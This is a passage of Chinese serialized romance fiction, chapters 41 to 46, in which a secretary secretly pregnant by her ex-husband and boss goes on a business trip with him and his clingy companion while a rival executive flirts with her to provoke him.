她肚子里怀着一个,去相亲的话浪费人家的时间,也是在骗人。 “你现在就是不恋爱,也得谈。” 吴蕾把照片发她手机上,“只有这样,程小姐才不会再针对你了。” 不长脑子地看热闹,以为沈渺横叉在贺忱与沈渺之间。 聪明点的看得出,是程唯怡不想让贺忱身边有女人。 何况还是沈渺这样漂亮的单身女性。 虽然是这个道理,可沈渺还是不能这么干。 看出她抗拒,吴蕾说,“你能让恬恬帮你找合适的对象,就不能让我张罗?” “什么?”沈渺诧异。 “恬恬这几天忙着找红娘给你介绍对象,那红娘手里能有什么优质好男人?都是找不上媳妇的……” 吴蕾喋喋不休。 沈渺一头雾水,分不清这是哪儿跟哪儿。 “行了,我来安排,这周末你们见个面。” 吴蕾自顾自说完,把事情敲定,起身就走。 “等下,蕾姐。”沈渺起身喊她,她走得飞快,不给沈渺拒绝的机会。 沈渺正准备到吴蕾办公室,内线却被打通。 “进来一趟。” 男人粗粝的声音传来。 沈渺只能调转方向,去了贺忱办公室。 “现在回去收拾东西,到阳城出差,至少三天最多七天。” 贺忱金丝眼镜下,男人抬眼看来的目光如电,“两个小时后,机场汇合。” 沈渺下意识说,“阳城好像没有合作。” “这次去,就有了。” 贺忱总能拿到各类项目的一手资源,天成项目还没完成的情况下,值得他跑到阳城去的项目,一定是大项目。 沈渺迟疑片刻说,“要不您和林助去,我留在公司应对突发情况。” “林昭留下,你跟我去。” 41.他把我当什么不重要 “要不还是我留下吧。” 沈渺挣扎了一下,“我生病还没彻底好,万一……” 贺忱目光如炬,灼灼逼人,“没那么多万一。” 他不容置喙,眉宇染上一丝薄怒。 沈渺只能点头,“是。” 她驱车回家收拾行李。 此时的阳城不同于京北初春天气的干冷,已经到了初夏季节。 沈渺拎了十八寸的行李箱,一个小时后就到机场等着了。 下午四点钟的飞机,登机口都快关了,贺忱才带着程唯怡姗姗来迟。 “沈渺,等会我们换一下位置,你去经济舱坐着。” 贺忱走在前面,程唯怡故意落了他两步,声音不大不小地命令沈渺。 许是程唯怡临时决定来,所以没有跟沈渺他们一起订票。 来之前再定,为时已晚,商务舱没坐了。 不等沈渺答应与否,程唯怡已经走到贺忱身边去,挽住贺忱的胳膊。 “贺忱哥,听说阳城的冒鸭好吃,你抽空陪我去吃。” 贺忱拖着黑色的行李箱上放着程唯怡的粉色包。 回应她时他修长的手指勾住她的包带,防止掉下去。 “等我忙完。” 程唯怡傲然地‘哼’了一声,“我当然知道要等你忙完了,你这话说的,好像我会无理取闹耽误你工作一样。” 贺忱轻笑,抽出被她挽着的手,抵在她背上让她先走登机道。 “你最懂事了。” 沈渺跟在贺忱后面,她掀动眼皮看着他肩宽腰窄的背影,只一眼又落回眸光。 他们径直去了商务舱,沈渺拎着包到经济舱,找到位置坐下,从包里拿出耳机戴上。 这是她第一次坐经济舱出差。 以往每次跟贺忱出差,贺忱都会给她也订商务舱。 长途无聊,他处理工作,沈渺处理完自己的事情,就看提前下载好的电影或电视剧。 结婚那两年,沈渺最享受的时光,就是他忙工作时,她在他旁边做自己的事情。 那才让她有他们不是上下司关系的感觉。 四个小时后,阳城。 下机后,他们前往更衣室换衣服。 沈渺换了一件白色半袖衬衫,下面搭了一条黑色长裤。 将行李重新整装好,拖着行李箱出来刚好与程唯怡遇上。 程唯怡直接将行李箱推给她。 “拿着。” 惯性下,行李箱朝沈渺冲过来,撞在沈渺腿上。 沈渺一时不慎,还没来得及收回迈出去的腿,被绊倒差点儿没趴在地上。 她扶住墙,堪堪稳住身形,另一只手下意识捂住小腹。 她清明的眼眸看向化妆镜前的程唯怡。 程唯怡只是睨了她一眼,掏出口红补妆,三两下搞定离开更衣室。 “贺忱哥,你等很久啦?” 她的声音在外面传来。 贺忱富有磁性的声音响起,“不久,公司的车到了,沈……” “沈秘书说等会儿自己过去,我们赶紧走吧。” 程唯怡拉着贺忱离开,“哎呀,别让司机等久了!” 脚步声渐渐远去。 沈渺身体贴着墙,缓了会儿走到化妆镜前整理了下头发,然后拖着两个行李箱朝机场外面走。 排了一个多小时的队,终于轮到她打车的时候,她才想起来还没来得及问哪个酒店。 掏出手机给贺忱打电话,电话响了没两声就被挂断了。 再打,已经关机了。 “你这人坐不坐车啊?” 排在她后面的人催促。 沈渺让出位置,“不好意思,你们先。” 她转身到角落,又打给林昭问。 没等电话拨出去,一辆商务车在她面前停下。 车窗落下,何之洲惊喜地看着她。 “沈秘书,你怎么在阳城!?” “何总。”沈渺看到他,立马反应过来,贺忱跟何之洲怕是冲一个项目来的。 何之洲也后知后觉明白了,“贺忱也来了?” 沈渺没说话。 “他可真够阴魂不散的!”何之洲的脸一瞬间黑了,“我就不信了,这次我还能输给他。” 沈渺面色悻悻,在他面前只字不提贺忱。 “你怎么跑到打车的地方了,贺忱呢?” 何之洲从车上下来,看到她身前有两个行李箱,语气近乎笃定,“程唯怡也来了?” 沈渺点头。 “他们已经走了?” 沈渺又点头。 “上车,我送你。”何之洲招手,让司机下来把沈渺的行李箱装后备箱里。 “不用了。” 沈渺将行李箱拿到自己身边,“我已经排队了,打车过去刚好。” 何之洲不听她的,强行把行李箱夺过,交给司机。 “跟我走,他都好意思把你丢这儿,你有什么可顾忌的。” 司机将两只行李箱装好,回到驾驶位。 沈渺想不上车都不行。 她坐到后面,与何之洲同一排。 “贺忱跟你说这次项目,他怎么想的了吗。” 汽车缓慢驶离机场,一簇簇路灯照进来。 光线昏暗的车厢里,气氛有些僵,主要是沈渺坐在他的车里,不自在。 何之洲率先开口,打破僵固的气氛。 “贺总没跟我说,他就算是说了我也不能告诉您。” 沈渺必须遵守职场原则。 “你把他当上司,他把你当什么了?” 何之洲挑拨离间,“这么晚,他把你一个女孩子扔千里之外的机场。” 沈渺手里把玩着包带上的小玩偶,听到他的话手上动作一紧。 她语气淡漠着,“他把我当什么不重要,重要的是我拎得清自己位置就行了。” “真可怜。”何之洲侧目看着她,她面部线条晕着一层落寞,“你说你长得这么好看,贺忱对你都不感兴趣,他是不是不行啊?” 沈渺黑白分明的眼眸看他一眼。 果不其然,在他眼底看到了试探。 他在用这种方式,变相的打探贺忱对沈渺有没有不该有的念头。 “何总,您别总是开这样的玩笑,没意思。” 何之洲自认为,他已经摸到了贺忱的软肋。 但是沈渺这反应,不像是真有什么的。 这两人好像根本不在一条线上一样,让他找不到突破口。 见沈渺口风严,何之洲不问了。 沈渺给林昭发消息,林昭将酒店名字发给她,她转告司机。 巧的是,何之洲也住那家酒店。 两人在酒店门口下车,进入酒店,与从电梯里出来的贺忱撞了个正着。 42.太太,我们选个大床房怎么样 贺忱琥珀色的眼眸一下变得极深。 他驱动修长的双腿,走到大厅中央时,缓缓停下。 沈渺始终与何之洲保持着安全距离。 但看到贺忱的那一刻,何之洲朝她这边挪了挪。 “贺总,跑这么远也能遇上你,我们真是缘分啊。” 何之洲双手揣兜,眼底那抹玩世不恭的笑意,夹杂着一丝挑衅。 贺忱眼神平静深邃,喜怒不形于色,“知道何总要来,我特意过来的。” 何之洲眼睛一眯,心思百转,“你故意来跟我抢项目的!?” “凭实力说话,算不上抢。” 贺忱站的笔直,目光三不五时落在沈渺身上。 何之洲咬牙切齿,盯着他。 沈渺站在两人中间,被他们交织的目光波及,偌大的厅里变得像炼狱那般灼热。 服务员并未察觉到异样,走过来热情招待,“您好先生太太,二位有提前预定房间吗?” 何之洲一秒破功,脸上扬起有些欠揍的笑容,加重前面两个字。 “‘太太’,你说……我们选个大床房怎么样?” 误会,令本沈渺更加焦灼。 她朝何之洲颔首,“谢谢何总顺路带我到酒店,时间不早了您早点休息,我就不打扰了。” 她拿出身份证交给服务员,“提前预定好房间了。” “抱歉,我误会了。”服务员立马会意,引着她到前台办理手续。 何之洲跟过来,扯着嗓门说,“等会儿告诉我房号,我过去找你。” 他眼神若有若无地瞥向贺忱。 沈渺往旁边移一步,与他保持着安全距离。 她不怕贺忱误会,但毕竟是贺忱的死对头,站在工作的角度也不该跟何之洲走太近。 何之洲这人越说越来劲,她干脆不吭声,消消他的气焰。 贺忱比她了解何之洲,应该听得出何之洲是故意的。 “抱歉沈小姐,您的房间已经被一位姓程的小姐入住了。” 前台歉意地看了沈渺一眼,末了又解释道,“这是贺先生的意思。” “那麻烦您帮我再开一个房间。” “好,还是总统套房吗?”前台立马给她选房间。 沈渺从包里拿出银行卡,递过去,“标间就行,帮我开票。” 何之洲一把将银行卡拿过去,“给她升级总统套房,住我隔壁,刷我的卡。” “何总,这样不合适。”沈渺试图拿回被他抢走的卡,可何之洲手抬的高高的。 她拿不回来,只能低声呵斥,“何之洲,你别闹了!” 何之洲一本正经地回应她,“我没闹,你住标间我会心疼的……” 虽刻意压着声音,可毕竟离得极近,两人的对话一字不落地传入贺忱耳中。 他睨了他们一眼,不论是动作还是语气,都像小情侣打情骂俏。 “不用开了。”贺忱冷冽如刀锋,不容置疑道,“还住原来那间。” 沈渺回过头来,“还是让程小姐住……” 贺忱,“她跟我住,办完手续把唯怡的行李箱送到我房间。” 他说完没走,去了吸烟区,咬了一根烟在唇上,却并未点燃。 程唯怡跟他住。 这话分外刺耳,沈渺心间化开钝痛。 她看着贺忱矗立在那儿,好一会儿反应过来是在等她。 她收敛情绪,示意前台快点办理入住,拿上房卡拖着行李,朝贺忱走过去。 “沈渺,有空一起吃饭啊。” 何之洲靠在柜台上,朝着她背后喊了一声。 沈渺看到眼前的男人面色倏地绷紧,一股前有狼后有虎的感觉,油然而生。 她没敢回应何之洲的话,走到贺忱面前,“贺总,我好了。” 何之洲大笑着的声音又传来,“以后离你那冷血无情的上司远点,越来越没良心了。” 沈渺知道,他这些话都是说给贺忱听的。 但他这行为,是把沈渺架在火上烤。 电梯门缓缓合上,沈渺在角落站着,微微低着头,盯着男人锃光瓦亮的鞋子。 “放好行李,来我房间处理工作。” 贺忱嗓音漠然,看了眼沈渺,见她低着头视线便一直没挪开。 她明明很温顺地站在那里,却总给他一股叛经离道的感觉。 沈渺眉心紧拧,她看了看时间,都已经十一点了。 许是怀孕的缘故,她最近嗜睡,困得厉害。 “怎么,等会儿有约?” 贺忱侧了侧身体,面朝着她。 沈渺抬起头来,黑白分明的眼眸深处的抵触,显而易见。 “没有,就是有些累了。” 贺忱眼底冷得一丝温度都没有。 他不关心她累不累,只要他想工作,不论何时何地,她都要配合。 毕竟,她只是一个下属,拿着他的钱,就要替他做事。 沈渺的房间与贺忱的紧挨着。 她将行李放好,来不及整顿,就去了贺忱那儿。 套房门开着,程唯怡穿着棕色皮裙,黑色吊带,她坐在贺忱身边,晃动着小腿撒娇。 “人家对这儿不熟,一个人睡一个房间会害怕的,你就让我跟你住嘛……” 贺忱唇角轻勾着弧度,宠溺地睨了她一眼,“那等会儿你早点进去睡,我要忙工作。” 程唯怡眼睛一亮,“你这是同意了!?” “嗯。”贺忱鼻腔里发出一个单音节,眼皮撩拨起时,看到站在门口的沈渺。 “贺总。”沈渺拖着程唯怡的行李箱走进来,“程小姐,您的行李。” 程唯怡看向沈渺的目光带着丝丝得意,“帮我拿到房间里去,跟贺忱哥的放在一起。” 沈渺顿了下,将行李箱送到房间,放到黑色行李箱旁边。 纯白色的薄被整洁地铺在大床上,枕头叠放,等待着客人躺上去。 沈渺的目光在那张床上扫过,迅速移开目光后朝外面走去。 程唯怡跟贺忱轻声说着什么,像是打情骂俏,很快结束。 她出卧室的时候,刚好与准备进来的程唯怡撞了个正着。 “我先去睡了,你处理完工作快点来,没有你人家睡不着。” 程唯怡只顾着回头跟贺忱说话,没看到沈渺出来。 眼看着要跟她撞上,沈渺侧身紧贴着墙,“程小姐,看路。” 程唯怡回过头来,白了她一眼进屋。 沈渺面色如常,在办公桌对面坐下,“贺总,有什么需要我处理的。” “没有。”贺忱手里拿着一份文件,“但是我没忙完,你就不许回去睡。” 43.离开京北的心,一刻没有动摇过 卧室传来程唯怡轻哼歌的声音。 “什么?”沈渺只听到他零星的字语。 昏黄的灯晕开的光环,笼罩着书桌。 两人相对而坐,沈渺眼眸黑白分明,乌黑的长发散落在白色衬衫上。 夜深人静的晚上,衬出几分她楚楚动人的柔和。 贺忱双腿叠放,斜靠着椅背,黑色的衬衫透着野性。 他狭长的眸色一凛,嗓音富有颗粒感,“去冲杯咖啡。” 贺忱口味刁钻,只喝国外进口的那一款现磨咖啡。 每次出差,沈渺都要带着咖啡豆,在酒店里一通折腾。 沈渺在岛台前一通折腾,咖啡香气四溢,遍布房间每一个角落。 十几分钟后,贺忱左手边多了一杯冒着热气的咖啡。 他端起抿了一口,苦涩在唇腔里化开。 “把这份资料整理一下。” 他随手丢给沈渺一份文件。 沈渺接过文件看了两眼,“贺总,这份资料是天成项目那边的,已经整理过了。” 说整理过了都是含蓄的,这份资料甚至数据泄露之前的策划案上的。 早已用不到了。 贺忱浅品着咖啡,面色佯装无异,“是吗,那就是我拿错了。” 他放下咖啡杯,低头忙自己的。 沈渺:“???” 所以,她做什么? “再重新整理一遍吧,反正你闲着也没事。” 寂静的夜晚,贺忱这话一出口,就让沈渺有种在做梦的感觉。 她闲着没事,可以回房间睡觉。 这么离谱的话,不像是贺忱说出来的。 她细眉一拧,深看了贺忱一眼。 贺忱垂着眉眼,骨廓俊美,认真起来的样子透着别样的气质。 她再三思忖,拿过那份文件重新整理。 临时决定来阳城,或许贺忱还没有准备好。 他整理的过程中,随时都会用到她,所以才留下她。 但为了不让她闲着,这才随便给过来一份文件。 就算是做过一次的工作,沈渺也十分认真。 她修长的手指在文件上勾勾画画,将重点全部圈出来。 没多会儿,困意来袭。 她的头一下又一下的点下来,沈渺尽力睁大眼睛,视线却控制不住地越来越模糊。 “贺忱哥~” 卧室传来程唯怡的声音,“你怎么还没忙完?” 贺忱嗓音沙哑,“乖,你先睡。” 突如其来的对话,沈渺顿时清醒了不少。 她挺了挺身体,抬头冷不丁撞上贺忱暗不见底的眼眸。 他在盯着她看,眸底一片暗沉。 沈渺收回目光,低头准备处理文件时,黑色的文胸边缘赫然映入眼帘。 她的衬衫扣子,不知什么时候开了两颗! 傲人的围度暴露在空气中,令人想入非非。 她迅速转了个身不着痕迹地将扣子系上。 奈何怀孕后突增的三围,让刚刚合适的衣服变小。 再系上,也显得紧巴巴,反而更明显。 男人灼热的目光在对面传来,她耳根赤红发热,想解释一下却觉得欲盖弥彰,此地无银三百两。 不解释吧,又觉得过意不去。 “我……” “贺忱哥,我一个人害怕。”程唯怡在卧室跑出来。 看到沈渺没走,登时脸色不好看,“你怎么还在这儿?” 她若知道沈渺还没走,说什么也不会回房间! 这深更半夜孤男寡女的,就算只有一门之隔,她也不允许他们单独在一起! “还有工作要处理。”沈渺借着整理文件的动作,又将衬衫整理了一下。 程唯怡抿了抿嘴唇,走到贺忱身边去。 “贺忱哥,这些工作不能明天再做吗?” 贺忱筋脉清晰的手,捏了捏眉心,“明天要用。” 闻言,程唯怡将沙发椅拉过来,“那我也留下来陪你。” 她一脸忌惮地看着沈渺。 却见沈渺低头盯着文件,发梢落在书本上,白皙的肤色被灯光一打,白里透红。 五官精致好的,像个妖精! 她一定是故意留下来,勾引贺忱的。 “不用了,你们都回去吧。”贺忱喉结滚动,嗓音带着压不住的嘶哑。 程唯怡忌惮、不满的眼神,沈渺早感受到了。 贺忱的话音落地,她整理好文件放下就走。 “那贺忱哥,我陪你。”程唯怡的声音在她身后传来。 “女孩子不能晚睡。” 贺忱耐着性子哄人,“你先回房,我忙完再睡。” 套房门关上,长廊一盏盏灯亮着,打在花纹繁复的地毯上。 沈渺的高跟鞋踩在上面落脚无声。 她回到套房,换下高跟鞋,径直倒在沙发上。 疲倦感遍袭全身,她的大脑却突然变得清醒,毫无睡意。 周围明明静静悄悄的,可她仿佛能听见男人和女人打情骂俏的声音。 是她从未听过的贺忱那温柔、宠溺的声调。 那声音萦绕在她耳边,久久挥之不去。 她上了床,将头埋在被子里,却仿佛还是能听到。 商音打视频过来看到她窝在被子里,登时警惕,“为什么缩在被子里接我视频,该不会跟贺忱住一个房间吧?” “怎么可能。”沈渺矢口否认,“你这么晚怎么还没睡?” “我是夜猫子。”商音一脸严肃,“查岗,你把灯打开我看看。” 沈渺从被子里钻出来,打开床头暗灯,照了照卧室。 “他跟程唯怡住对面。” 手机里传出商音尖叫,“程唯怡也去了?贺忱这脑子怎么长的?带着前妻和现任出差,这修罗场一般男人根本控制不住。” 沈渺扯了扯嘴角,“他眼里就没有‘前妻’这个角色。” 只有没有感情,才能在离婚后,还只把她当成秘书。 所以要说修罗场,也是她跟程唯怡两个人。 贺忱一点儿不受影响。 “辞职这事儿不能再拖了。”商音为她着急,“就算你在贺忱眼皮子底下把孩子生出来,他不怀疑,也不能留在京北,贺家跟程唯怡都不会容你。” 程唯怡这么粘贺忱,不就是防着沈渺呢吗? 甚至,贺忱知道这个孩子的存在并不可怕。 无论如何,程唯怡跟贺家人,都不能知道! “你放心,我要离开京北的心,一秒都没有动摇过。” 沈渺捏着被角,淡淡的目光里透着绝对的坚定。 两人聊到快天亮,才结束通话。 沈渺困极了,倒头就睡。 不知过了多久,她被声声不断的门铃吵醒。 睁眼,便发现窗外天色大亮,已经十点钟了! 她迅速爬起来开门。 “抱歉贺总,我睡过头了。” 44.这种出身也想娶回家,贺家门槛真低 “没事,身体要紧。” 何之洲单手撑着门框,冲她笑得灿烂。 可不是没事儿? 沈渺起得越晚,耽误的工作越多,对他越有利。 “何总。”沈渺看清是他,心底依旧有些急切,“您有事吗?” 何之洲甩了下头,“走,一起吃午饭。” 沈渺摇头,“我没空。” 她下意识往对面看了一眼,房门紧闭。 难道贺忱已经出去谈工作了? “你有空。”何之洲头也不回地指了指对门,“贺忱还沉浸在温柔乡里呢,他中午订了两份牛排,送到房间的。” 沈渺的紧张骤然消失。 握着门把的手一紧,她眉眼耷拉下来,“那我再回去补个觉。” 说着她欲关门,却被何之洲挡下,“别睡了,估计他把程唯怡弄得下不了床,才在房间里吃饭,但不代表他今天不工作。” 论插刀,何之洲数第二没人敢称第一。 “你现在洗漱跟我去楼下吃饭,他若因为工作找你,不耽误。” 沈渺拒绝的话卡在喉咙里,她突然朝何之洲身后看去,“贺总。” 何之洲立马回头。 他身后空空如也。 ‘砰’的一声,沈渺关门了。 “你跟贺忱时间久了,人都变坏了……” 何之洲气急败坏的声音传来。 沈渺回到床上,拿过手机,并未看到贺忱的消息。 想到何之洲的话,她心口一紧,翻身倒头就睡。 何之洲没纠缠,喊了两声就走了。 但很快外面又传来敲门声,声音很小不是敲她的房门而是对面。 给他们送午餐的。 沈渺翻来覆去,没了睡意,肚子也开始饿得咕咕叫。 她只能起来,到楼下餐厅觅食。 不到中午,餐厅的人不多。 沈渺一身休闲装扮,头发随意扎成马尾,惊艳绝伦的五官,让人很难不注意到她。 偌大的餐厅,她刚进去就被何之洲发现了。 “沈渺,这儿呢。” 何之洲张扬肆意,在公众场合也一点儿声音都不压。 一瞬所有人朝沈渺看过来。 沈渺循声望去,首先映入眼帘的却不是何之洲。 贺忱穿着白色T恤,浅灰色的裤子。 浅色系的穿搭,给他增添了几抹平易近人。 他看骨相生的好,皮囊更是万里挑一。 何之洲和程唯怡的相貌,也算上等。 可在他面前,显得逊色许多。 他不是该在房间里,跟程唯怡共享午餐吗? 犹豫片刻,沈渺朝他们走过去。 不用猜也知道,他们三个坐一桌气氛肯定不好。 所以她打算打个招呼就走。 谁知刚坐过去,何之洲就把身边椅子拉开了,“坐。” “不打扰贺总和程小姐用餐,我就是问问下午什么安排。” 沈渺站在那儿,低垂着眼眸。 何之洲胳膊搭在拉开的椅子背上,放荡不羁,“你这意思是我是电灯泡?” “当然不是。”沈渺有时,真不知怎么接何之洲的话。 程唯怡突然一笑说,“她这么说,其实是想让你跟她走,单独吃饭吧。” 她朝贺忱倾身,故作打趣,“看来何总对沈秘书挺感兴趣呢。” 何之洲乐了,他嘴上在问沈渺,目光却紧盯着贺忱。 “是吗?渺渺可以直白一些,你们贺总还能管你的私事不成?” 沈渺听得出,程唯怡有利用她,把何之洲也赶走的意思。 可何之洲根本不是真心追她,程唯怡打错了如意算盘。 而她为了澄清不是那个意思,拉开椅子直接坐下了,“我想贺总不介意我打扰。” 程唯怡笑容一僵,鼻子差点没气歪了。 “吃过饭回房间,等通知。”贺忱缓缓开口,嗓音漠然沉稳。 他轻飘飘两句话,决定了沈渺吃完饭就得回房间侯着。 沈渺点头,“好。” 自助点餐,她掏出手机扫码,挑选自己爱吃的。 桌下她的腿突然被碰了一下,她手上动作一哆嗦,下意识看向何之洲。 “渺渺,我跟贺忱虽然是死对头,但那是工作上,私下我俩关系不错,所以你要是跟我在一起,他不会管的。” 何之洲单手撑着桌沿,眸底暗藏戏谑,“所以我说喜欢你的事儿,你考虑得怎么样了?” 沈渺深吸一口气,僵着身体笑道,“何总高看我了,我就是个秘书,您值得更好的。” “啧。”何之洲笑意盈盈,看向贺忱,“听出来了吗,喜欢我,只是碍于身份悬殊。” “……”沈渺被他推到悬崖边上,摇摇欲坠,他根本不顾,只为看贺忱的反应。 可贺忱能有什么反应? 她眼眸一颤,看向贺忱。 “听说,阳城的眼科不错。”贺忱轻描淡写地说了句。 被损眼神不好,何之洲也不恼,笑得更灿烂了,“那你知不知道,哪个医院治眼瞎心盲嘴硬?” 一桌两男两女。 两个男人话里话外,都围着沈渺转。 她一个秘书,也配成为他们饭桌上的焦点? 程唯怡忍不住了,“眼瞎的是你吧,什么样的女人也看得上!何之洲,你们何家没教你规矩吗?这种出身的也想娶回家,你们何家的门槛可真低!” 如此赤裸直白的贬低。 沈渺手指收拢,指甲陷入掌心的肉里。 “程唯怡,你可真是上流社会的下流胚子!小小年纪还是个女孩子,嘴巴恶毒心也是黑的吧!我看,贺忱要是娶你,贺家的门槛才是真的低!” 何之洲只是想借沈渺观察贺忱的反应,可不是真的欺负沈渺。 “你——”程唯怡恼怒,转身朝贺忱求庇护。 却冷不丁撞入贺忱岑冷的眼眸中。 贺忱正侧目凝着她,眉峰锐利。 程唯怡这才想起来,沈渺已经进过贺家的门了。 那她岂不是在说,贺家的门槛低? “贺总,我先打包午餐回房了,您慢慢用餐。” 沈渺坐不住了。 她只跟贺忱说了声,然后转身离开。 贺忱再回头时,只看到她纤细瘦弱的背影。 “程唯怡,你怎么这么讨厌!”何之洲站起来,恶狠狠地瞪了程唯怡一眼,“等着你跟贺忱结婚那天我给你们送花圈!” 程唯怡:“!” 何之洲似乎还觉得不够,他看向贺忱,“只要不娶程唯怡,你娶谁我都送你一辆八位数的豪车!” 贺忱不差钱,何之洲故意这么说主打一个气死程唯怡。 45.沈秘书有的是时间和胆量,背着我 沈渺觉得,很有必要跟何之洲好好谈谈。 她拎着午餐回房,边吃边给何之洲发消息。 【何总,我只是个普通人,请你不要把我往火坑里推。】 没过几秒,她房门被敲响。 “沈渺,是我!” 何之洲的声音传来。 沈渺正欲起身,又坐了回去,继续给何之洲发消息。 【不打扰您吃饭,我们可以信息交流。】 门外没了动静,何之洲的消息很快回过来。 【我不推,程唯怡也容不下你,你放心我不会让人欺负了你。】 沈渺:【您下次再这样,别怪我不给您面子。】 她不是在跟何之洲商量,而是通知。 可她坚决的语气,没能换来何之洲的顺从。 【下次我注意,尽量不让你为难。】 他还会这么干,只是会注意分寸。 可沈渺要的不只是分寸。 她把手机关了,丢到一旁,巴掌大的小脸染上烦躁。 思来想去,她又给何之洲回了一条消息。 【那您好自为之。】 门外传来脚步声,何之洲走了。 下午三点,沈渺听见门外又传来声音。 “那我们在峡谷玩完了,就去附近找地方吃饭。” 程唯怡叽叽喳喳的,围着贺忱转,“晚上游乐场有放烟花的,我也想看!” 贺忱一身休闲装扮,目光始终落在程唯怡身上。 “看路,别撞到人。” 程唯怡倒着走,歪着头去看贺忱的脸,“你先说我安排的行不行!” “行。”贺忱伸出胳膊,挡了下拐角处的墙,生怕程唯怡撞到。 沈渺在猫眼里看到两人走了。 听他们的意思,晚上才会回来,下午没有工作。 她转身收拾包,也离开了酒店,到就近的商场买衣服。 她试了另外一件衬衫,也瘦,扣子容易崩开。 穿便装见客户不合适,干脆去买件新的。 半小时后,她在商场选到了合适的衬衫,让店员包起来,拿出手机准备付款。 “沈小姐您好,我们何总交代过了,您来买东西一律不收钱。” 店员将衣服包好,交到沈渺手上。 这家商场依旧是九洲旗下的。 沈渺没想到,何之洲连千里之外的商场,都交代过了。 “那我不要了。” 她放下衣服转身就走。 店员再反应过来时,她已经走出去很远,再追来不及。 沈渺只能去稍微远一些,不是九洲旗下的商场。 谁想到,刚到另外一家商场,就看到何之洲在门口等着。 “一个人逛街多没意思我陪你啊。” 何之洲穿着一身骚包蓝色运动装,靠在商场门前的圆柱上,显然已经等候多时。 沈渺看到他就头疼。 她绕开他往商场里面走,“你没有工作吗?” “项目方今天下午有事,明天才约见面,贺忱都出去玩儿了,我凭什么不能出来?” 何之洲大步流星跟着她,“你想要什么我给你买,就当赔罪了。” 沈渺看他一眼,“何之洲,我发消息说的那些话,你当空气了?” “没有。”何之洲竖起三根手指,“我发誓,我以后一定尽量不给你添麻烦……” 不等他说完,沈渺扭头走得更快了。 估计何之洲发过的誓,比他吃过的饭都多,一点含金量都没有。 跟何之洲说这些纯属浪费时间。 甩又甩不掉,沈渺干脆速战速决。 随便选了件衬衫,试都没试,趁着何之洲不注意,她迅速买单。 何之洲再反应过来,沈渺已经拎着衣服离店了。 她直冲商场门口,打算离开,却在路过一家新生儿用品时,鬼使神差地停下来。 琳琅满目的小衣服、鞋子,还有玩具,吸引了她的目光。 她一直想给孩子买东西,本计划离开京北后再买。 可离开的时间一推再推。 何之洲追上来,看到她站在孕婴用品店门口,好奇道,“你一没怀孕二没生孩子,对这种东西感兴趣?” “我……”沈渺顿了下,恍然回神,解释道,“闺蜜家的孩子。” 说完她继而朝外面走。 何之洲一把拉住她,径直进入店内,“既然是闺蜜,你出差一趟不给她带点礼物吗?进来逛逛!” 沈渺被他生拉硬拽进店,不等她挣脱开来。 店员走过来热情招待,“先生太太您好,请问有什么需要的?” “没……”沈渺摇头。 “送朋友,具体得问我太太,她来选。”何之洲打断她。 店员更为热络,看向沈渺,“太太,请问是送孕妇还是新生儿,如果出生了是男孩女孩呢?” 她一口一个太太,何之洲笑眯眯地应声。 沈渺被架子上摆满的新生儿用品吸引,顾不上澄清与何之洲的关系。 她与店员交流着,“男孩,选几套小衣服,再看看玩具。” “好的,您跟我来。”店员引着沈渺去新生儿衣服区。 沈渺本打算速战速决,买上两件走人。 可款式诸多,她选来选去,挑花了眼。 “这件好看,男孩子穿黄色显白,蓝色的显得更帅气,白色显得干净……” 店员挨个推荐。 沈渺将每件衣服的面料都摸了一遍,选出最舒服的那件。 她选得认真,并未注意到何之洲在侧面,给她拍了一张又一张的照片,然后发给贺忱。 【贺忱,你说我跟渺渺是不是特别般配?不管走到哪里,别人都把我们误认成夫妻。】 【今天下午不工作,你也不早点跟渺渺说,我们出来晚了,只能在外面吃了饭再回去,你有什么好推荐吗,阳城哪家餐厅好吃……】 他跟贺忱的聊天记录,都是他单方面输出。 贺忱就没回复过。 但何之洲知道,贺忱将每一条消息,都看了。 每每想到孩子,沈渺的心情都会好起来。 就算是给商音的孩子挑衣服,她的心情也前所未有的好。 选到了喜欢的衣服,她脸上不由自主挂上一抹笑容。 沈渺拿出手机,将几套小衣服拍照给商音发过去,让商音选。 照片刚发出去,她的手机就响了。 她看都不看便滑动屏幕接起。 “难得有时间出来逛逛,你就别跟我客气了,看看喜欢哪一件。” 她清脆的声音与商场的轻音乐交织,显得十分欢快,心情甚好。 只是,电话那端的声音,明显不悦。 “难得吗,以后有何之洲撑腰,沈秘书有的是时间和胆量,背着我跑出去逛街。” 46.告诉他,你有男人! 沈渺一激灵,差点儿没把手机丢出去。 她低头才发现,电话不是商音打来的,而是贺忱。 通话界面上的时间一秒秒的过去,她周围的空气仿佛被夺舍了那般,渐渐没了。 “贺总。” “回来。” ‘嘟嘟嘟’ 简短的两个字,卷携着源源不绝的威压,直击沈渺脸颊。 通话结束,沈渺面色微凝。 “麻烦帮我包起来。” 她迅速将衣服交给店员,到柜台结账。 “怎么了?谁的电话?”何之洲语气带着隐隐的兴奋。 沈渺一边结账一边说,“贺总,他好像回酒店了。” 何之洲想都不想便说,“不可能。” 沈渺不与他争辩。 不论贺忱回没回酒店,她招呼都不打一声来逛街的事情,暴露了。 五分钟后,沈渺拎着两个购物袋走出商场,打车回酒店。 任凭何之洲再怎么劝,她也没上他的车。 晚上六点,沈渺回到房间,放下东西去对面敲门。 敲了半天没人开门,她只能给贺忱打电话。 “贺总,我回来了。” 那端环境嘈杂,听声音是在公共场所,能清楚地听见程唯怡的笑声。 贺忱沉默了几秒说,“知道了,我这就回去。” 沈渺:“???” 他不在酒店? 难道不该是有工作要处理,才会突然打电话给她吗? 沈渺揣着疑惑,回到房间等。 约莫过了二十分钟,门外传来脚步声,她起身走出去。 恰好遇上贺忱在开门,他回眸看了一眼,“拿上笔记本过来。” “好。”沈渺转身去拿笔记本,目光与程唯怡投来的视线撞上。 程唯怡恶狠狠地瞪她一眼,然后跟着贺忱进入套房。 “什么工作不能在外面处理?你都带着笔记本出去了,她非要叫你回来,分明是故意的。” 房门关上,程唯怡的声音瞬间没了。 沈渺没听清楚她说了什么,但听语气是没玩尽兴,闹脾气了。 她拿上笔记本过去的时候,程唯怡已经回卧室了。 贺忱端坐在办公桌前,电脑屏幕倒映出亮度打在他骨阔分明的脸上。 “贺总。”沈渺在对面坐下,“有什么需要我处理的?” “下午去哪儿了。” 贺忱目光盯着屏幕,语气森然。 他周身那股不悦的气息太浓,浓到沈渺想忽略都难。 沈渺抿了抿唇瓣说,“去买了件得体的衬衫,碰巧遇上何之洲。” “何之洲?”贺忱撩拨着眼皮看她,“看来沈秘书私下跟他挺熟。” 都不称呼何总了。 “您应该看得出,何之洲是故意缠着我的。” 沈渺觉得贺忱看得出来,不应该生气。 